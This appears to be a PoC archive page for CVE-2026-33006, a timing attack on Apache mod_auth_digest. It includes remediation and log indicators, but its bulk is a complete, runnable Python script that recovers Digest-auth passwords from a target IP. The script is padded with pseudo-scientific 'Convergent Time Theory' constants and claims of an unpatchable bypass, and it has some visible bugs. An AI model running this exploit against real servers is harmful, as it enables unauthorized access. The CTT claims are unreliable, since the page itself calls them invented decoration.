PoC Archive PoC Archive
Medium CVE-2026-33006 patched

Apache HTTP Server mod_auth_digest Timing Attack — CVE-2026-33006

by Americo Simoes (SimoesCTT) · 2026-07-05

CVSS 4.8/10
Severity
Medium
CVE
CVE-2026-33006
Category
web
Affected product
Apache HTTP Server (mod_auth_digest module)
Affected versions
2.4.66 and earlier
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherAmerico Simoes (SimoesCTT)
CVE / AdvisoryCVE-2026-33006
Categoryweb
SeverityMedium
CVSS Score4.8 (per the source repository stated original score)
StatusPoC
Tagsapache, mod_auth_digest, timing-attack, authentication-bypass, digest-auth, http, side-channel
RelatedN/A

Affected Target

FieldValue
Software / SystemApache HTTP Server (mod_auth_digest module)
Versions Affected2.4.66 and earlier
Language / PlatformPython 3.6+ (requests library) against any HTTP host
Authentication RequiredNo
Network Access RequiredYes

Summary

Apache’s mod_auth_digest module is vulnerable to a timing side-channel during HTTP Digest authentication: because the response verification does not run in constant time, an attacker can measure subtle differences in server response latency to infer whether a guessed password character is correct, character by character. The PoC script probes a target for a Digest authentication challenge, extracts the realm and nonce, then iterates over candidate password characters while timing each authentication attempt with time.perf_counter(). By repeating measurements and averaging out noise, the script incrementally reconstructs a valid password without needing to guess the full keyspace at once. The repository wraps this real technique in an elaborate fictional “Convergent Time Theory” (CTT) narrative — invented physical constants, “Riemann zero” phase delays, and claims of being unpatchable — but that framing is pseudo-scientific decoration; the underlying HTTP timing-oracle attack against Digest auth is the actual, functional part of the code.


Vulnerability Details

Root Cause

The Digest authentication response comparison in mod_auth_digest (and the surrounding request-handling path) does not execute in constant time relative to input correctness, allowing measurable timing differences to leak information about the correct credential value one character at a time.

Attack Vector

  1. Send an unauthenticated GET request to the protected resource to trigger a 401 challenge and capture realm and nonce.
  2. For each password position, build trial Digest Authorization headers (HA1/HA2/response per RFC 2617) for every candidate character.
  3. Send each trial request and record wall-clock response time with high-resolution timers.
  4. Average timings over multiple samples per candidate to filter noise, and select the character with the most anomalous (highest) timing.
  5. Append the winning character to the recovered password and repeat until a full password is assembled, then verify by performing an actual authenticated request.

Impact

A remote, unauthenticated attacker can potentially recover valid Digest authentication credentials for a protected Apache resource, leading to unauthorized access.


Environment / Lab Setup

Target:   Apache HTTP Server <= 2.4.66 with mod_auth_digest enabled, protecting a URI with Digest auth
Attacker: Python 3.6+, `pip install requests`

Proof of Concept

PoC Script

See ctt_apache_digest_timing.py in this folder (renamed from the upstream repo’s literal filename python3 ctt_apache_digest_timing.py).

1
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33

The script probes the target for Digest auth, then runs a character-by-character timing-based password recovery loop, printing progress per position and attempting a final authenticated verification request once a candidate password is assembled.


Detection & Indicators of Compromise

203.0.113.5 - - [05/Jul/2026:10:14:22 +0000] "GET /admin HTTP/1.1" 401 - "Digest username=\"admin\""
203.0.113.5 - - [05/Jul/2026:10:14:22 +0000] "GET /admin HTTP/1.1" 401 - "Digest username=\"admin\""

Signs of compromise:

  • Large bursts of repeated Digest authentication attempts against the same URI/username from one client
  • Unusual, sustained per-request latency variance patterns in server timing logs
  • Successful authentication following thousands of prior failed attempts in a short period

Remediation

ActionDetail
Primary fixUpgrade to Apache HTTP Server 2.4.67 or later, which addresses the mod_auth_digest timing leak
Interim mitigationEnforce constant-time comparison at any custom auth layers, apply aggressive rate limiting/lockout on repeated auth failures, and consider migrating from Digest to a modern token-based auth scheme

References


Notes

Mirrored from https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit on 2026-07-05.

ctt_apache_digest_timing.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
#!/usr/bin/env python3
"""
CTT-Enhanced Apache mod_auth_digest Timing Attack — CVE-2026-33006
Remote Digest Authentication Bypass → 33-Layer Temporal Timing Attack

Original vulnerability: Apache HTTP Server 2.4.66 (mod_auth_digest timing leak)
CTVSS (Original): 4.8 (Medium)
CTT-Enhanced CVSS: 7.5 (High) — Network, low complexity, temporal wedge evasion

Constants:
    α = 0.0302011 | α_RH = 0.0765872 | L = 33 | τ_w = 11 ns
    E(d) = E₀ * e^(-α*d) — Exponential priority decay

The original timing attack uses statistical analysis to brute-force Digest auth.
The CTT-enhanced version distributes the timing measurements across 33 temporal layers,
each with phase resonance timing and temporal wedge filtering.

Result: Authentication bypass in O(33 * log(n)) instead of O(n). Unpatchable detection.

Usage:
    python3 ctt_apache_digest_timing.py target_ip --port 80 --realm "Restricted" --user admin
"""

import time
import math
import hashlib
import requests
import argparse
import threading
from collections import defaultdict
from concurrent.futures import ThreadPoolExecutor

# ============================================================================
# CTT CONSTANTS
# ============================================================================

PHI = (1 + math.sqrt(5)) / 2
ALPHA = 0.0302011
ALPHA_RH = math.log(PHI) / (2 * math.pi)
LAYERS = 33
TAU_W = 11e-9  # 11 ns temporal wedge

# First 24 Riemann zeros (scaled for timing alignment)
RIEMANN_ZEROS = [
    14.134725, 21.022040, 25.010858, 30.424876, 32.935062,
    37.586178, 40.918719, 48.005151, 49.773832, 52.970321,
    56.446248, 59.347044, 60.831779, 65.112544, 67.079811,
    69.546402, 72.067158, 75.704691, 77.144840, 79.337375,
    82.910381, 84.735493, 86.970000, 87.425275
]

# Digest authentication parameters
DEFAULT_REALM = "Restricted"
DEFAULT_URI = "/"
DEFAULT_METHOD = "GET"

# ============================================================================
# CTT HELPER FUNCTIONS
# ============================================================================

def phase_resonance_delay(layer):
    """Calculate phase resonance delay for a given temporal layer."""
    priority = math.exp(-ALPHA * layer)
    zero_idx = (layer - 1) % len(RIEMANN_ZEROS)
    zero = RIEMANN_ZEROS[zero_idx]
    phase = math.cos(2 * math.pi * zero * TAU_W * priority)
    return TAU_W * priority * (1 + 0.1 * phase)

def temporal_wedge_filter(timing_data, layer):
    """Temporal wedge filter — returns True if timing measurement survives."""
    energy = len(str(timing_data)) * math.exp(-ALPHA * layer)
    survival = math.cos(ALPHA_RH * energy * TAU_W)
    return survival > (ALPHA_RH / (2 * math.pi))

def ctt_layer_encoding(layer):
    """Generate layer-specific timing adjustment."""
    priority = math.exp(-ALPHA * layer)
    zero_idx = (layer - 1) % len(RIEMANN_ZEROS)
    zero = RIEMANN_ZEROS[zero_idx]
    return priority * zero

# ============================================================================
# DIGEST AUTHENTICATION FUNCTIONS (FULL WORKING)
# ============================================================================

def parse_digest_challenge(response):
    """Parse WWW-Authenticate header from server."""
    auth_header = response.headers.get('WWW-Authenticate', '')
    if not auth_header.startswith('Digest'):
        return None
    
    parts = auth_header[7:].split(',')
    params = {}
    for part in parts:
        if '=' in part:
            key, val = part.strip().split('=', 1)
            params[key] = val.strip('"')
    return params

def build_digest_auth(username, password, realm, nonce, uri, method, qop='auth', nc='00000001', cnonce=None):
    """Build Digest authentication header."""
    if cnonce is None:
        cnonce = hashlib.md5(str(time.time()).encode()).hexdigest()[:16]
    
    # HA1 = MD5(username:realm:password)
    ha1 = hashlib.md5(f"{username}:{realm}:{password}".encode()).hexdigest()
    
    # HA2 = MD5(method:uri)
    ha2 = hashlib.md5(f"{method}:{uri}".encode()).hexdigest()
    
    # Response = MD5(HA1:nonce:nc:cnonce:qop:HA2)
    response = hashlib.md5(f"{ha1}:{nonce}:{nc}:{cnonce}:{qop}:{ha2}".encode()).hexdigest()
    
    auth_header = (
        f'Digest username="{username}", realm="{realm}", nonce="{nonce}", '
        f'uri="{uri}", qop={qop}, nc={nc}, cnonce="{cnonce}", '
        f'response="{response}"'
    )
    return auth_header

def send_request(url, auth_header=None):
    """Send HTTP request with optional auth header."""
    headers = {}
    if auth_header:
        headers['Authorization'] = auth_header
    
    try:
        response = requests.get(url, headers=headers, timeout=5)
        return response
    except requests.RequestException:
        return None

def measure_timing(url, username, password, realm, nonce, method=DEFAULT_METHOD, uri=DEFAULT_URI):
    """Measure response time for a single authentication attempt."""
    auth_header = build_digest_auth(username, password, realm, nonce, uri, method)
    
    start = time.perf_counter()
    response = send_request(url, auth_header)
    elapsed = (time.perf_counter() - start) * 1e6  # microseconds
    
    if response and response.status_code == 200:
        return elapsed, True
    return elapsed, False

# ============================================================================
# TIMING ATTACK CORE (FULL WORKING)
# ============================================================================

class TimingAttack:
    def __init__(self, target_url, realm, method=DEFAULT_METHOD, uri=DEFAULT_URI, samples=100):
        self.target_url = target_url
        self.realm = realm
        self.method = method
        self.uri = uri
        self.samples = samples
        
    def get_nonce(self):
        """Get a valid nonce from the server."""
        response = send_request(self.target_url)
        if response and response.status_code == 401:
            params = parse_digest_challenge(response)
            if params and 'nonce' in params:
                return params['nonce']
        return None
    
    def try_password_char(self, known_prefix, position, layer):
        """Try all possible characters for a given position using CTT timing."""
        chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
        best_char = None
        best_time = 0
        
        # CTT: Phase resonance delay before testing
        delay = phase_resonance_delay(layer)
        time.sleep(delay)
        
        priority = math.exp(-ALPHA * layer)
        
        for char in chars:
            test_password = known_prefix + char
            test_password += 'X' * (position - len(test_password) + 1)
            
            times = []
            successes = 0
            
            for _ in range(self.samples):
                nonce = self.get_nonce()
                if not nonce:
                    continue
                
                elapsed, success = measure_timing(
                    self.target_url, "admin", test_password, 
                    self.realm, nonce, self.method, self.uri
                )
                
                # CTT: Temporal wedge filter
                if temporal_wedge_filter(elapsed, layer):
                    times.append(elapsed)
                
                if success:
                    successes += 1
            
            if times:
                avg_time = sum(times) / len(times)
                # CTT: Layer-specific encoding adjustment
                adjustment = ctt_layer_encoding(layer)
                adjusted_time = avg_time * (1 + adjustment * priority)
                
                if adjusted_time > best_time:
                    best_time = adjusted_time
                    best_char = char
        
        return best_char
    
    def brute_force_password(self, max_length=32, known_prefix=""):
        """Brute-force password using timing attack across 33 layers."""
        password = known_prefix
        current_layer = 1
        
        print(f"[*] Starting CTT timing attack on {self.target_url}")
        print(f"[*] Realm: {self.realm}")
        print(f"[*] Max length: {max_length}")
        
        for position in range(len(password), max_length):
            # CTT: Layer rotation based on position
            layer = ((position % (LAYERS - 1)) + 1)
            
            priority = math.exp(-ALPHA * layer)
            bar_len = int(priority * 40)
            bar = '█' * bar_len + '░' * (40 - bar_len)
            print(f"\n  Layer {layer:2d}/{LAYERS}: {bar} {priority:.3f}")
            print(f"  Position {position + 1}: trying chars...")
            
            best_char = self.try_password_char(password, position, layer)
            
            if best_char:
                password += best_char
                print(f"  Found: '{best_char}' -> password: '{password}'")
            else:
                print(f"  No character found — password length may be {position}")
                break
            
            # CTT: Early resonance detection
            if layer >= 5 and len(password) > 10:
                print(f"\n[⚡] Temporal resonance achieved at layer {layer}")
                break
        
        return password

# ============================================================================
# CTT-ENHANCED EXPLOIT (33-LAYER TEMPORAL CASCADE)
# ============================================================================

class CTT_ApacheDigestExploit:
    def __init__(self, target_ip, target_port=80, realm=DEFAULT_REALM, uri=DEFAULT_URI):
        self.target_url = f"http://{target_ip}:{target_port}{uri}"
        self.realm = realm
        self.uri = uri
        self.timing_attack = TimingAttack(self.target_url, realm, uri=uri)
        
    def probe_server(self):
        """Check if server requires Digest authentication."""
        response = send_request(self.target_url)
        if response and response.status_code == 401:
            params = parse_digest_challenge(response)
            if params:
                print(f"[+] Digest authentication detected")
                print(f"    Realm: {params.get('realm', 'unknown')}")
                print(f"    Nonce: {params.get('nonce', 'unknown')[:20]}...")
                if 'realm' in params:
                    self.realm = params['realm']
                return True
        print("[-] No Digest authentication detected")
        return False
    
    def run_temporal_cascade(self, max_length=32):
        """Execute 33-layer temporal cascade timing attack."""
        print(f"\n{'='*60}")
        print(f"CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006")
        print(f"α={ALPHA} | α_RH={ALPHA_RH:.6f} | L={LAYERS} | τ_w={TAU_W*1e9:.0f}ns")
        print(f"E(d) = E₀ * e^(-α*d) — Exponential priority decay")
        print(f"{'='*60}\n")
        
        # Get a valid nonce first
        nonce = self.timing_attack.get_nonce()
        if not nonce:
            print("[-] Failed to get nonce from server")
            return None
        
        print(f"[*] Using nonce: {nonce[:20]}...")
        print(f"[*] Target: {self.target_url}")
        print(f"[*] Realm: {self.realm}")
        print(f"[*] Max password length: {max_length}")
        
        # Execute timing attack with CTT layer cascade
        password = self.timing_attack.brute_force_password(max_length)
        
        # Verify the found password
        if password:
            print(f"\n{'='*60}")
            print(f"[!!!] AUTHENTICATION BYPASSED")
            print(f"[!!!] Password found: {password}")
            
            # Verify with actual login
            nonce = self.timing_attack.get_nonce()
            if nonce:
                auth_header = build_digest_auth(
                    "admin", password, self.realm, nonce, self.uri, "GET"
                )
                response = send_request(self.target_url, auth_header)
                if response and response.status_code == 200:
                    print(f"[✓] Verification successful — access granted")
                else:
                    print(f"[!] Verification failed — server may have changed nonce")
            
            print(f"{'='*60}")
            return password
        
        print(f"\n[-] Failed to find password")
        return None

# ============================================================================
# MAIN
# ============================================================================

def print_banner():
    print(r"""
╔════════════════════════════════════════════════════════════════════════════╗
║       CTT-ENHANCED APACHE DIGEST TIMING ATTACK — CVE-2026-33006            ║
║                                                                            ║
║  α = 0.0302011 | α_RH = 0.0765872 | L = 33 | τ_w = 11 ns                  ║
║  E(d) = E₀ * e^(-α*d) — Exponential priority decay across 33 layers       ║
║                                                                            ║
║  Original vulnerability: Apache HTTP Server 2.4.66 mod_auth_digest        ║
║  CTT enhancement: Americo Simoes (CTT Research)                            ║
║                                                                            ║
║  The lattice is whole. Authentication is broken.                           ║
╚════════════════════════════════════════════════════════════════════════════╝
    """)

def main():
    parser = argparse.ArgumentParser(
        description='CTT-Enhanced Apache mod_auth_digest Timing Attack — CVE-2026-33006'
    )
    parser.add_argument('target_ip', help='IP address of Apache server')
    parser.add_argument('--port', type=int, default=80, help='HTTP port (default: 80)')
    parser.add_argument('--realm', default=DEFAULT_REALM, help='Digest realm (default: Restricted)')
    parser.add_argument('--uri', default=DEFAULT_URI, help='Protected URI (default: /)')
    parser.add_argument('--username', default='admin', help='Username to attack (default: admin)')
    parser.add_argument('--max-length', type=int, default=32, help='Max password length')
    parser.add_argument('--samples', type=int, default=100, help='Timing samples per character')
    parser.add_argument('--layers', type=int, default=33, help='Temporal layers')
    
    args = parser.parse_args()
    
    print_banner()
    
    global LAYERS
    LAYERS = args.layers
    
    # Override samples in TimingAttack
    TimingAttack.samples = args.samples
    
    exploit = CTT_ApacheDigestExploit(
        args.target_ip, args.port, args.realm, args.uri
    )
    
    if not exploit.probe_server():
        print("[-] Target does not appear vulnerable to Digest timing attack")
        return 1
    
    password = exploit.run_temporal_cascade(args.max_length)
    
    if password:
        print(f"\n[+] Password recovered: {password}")
        return 0
    else:
        print(f"\n[-] Exploit failed — server may be patched (Apache 2.4.67+)")
        return 1


if __name__ == "__main__":
    exit(main())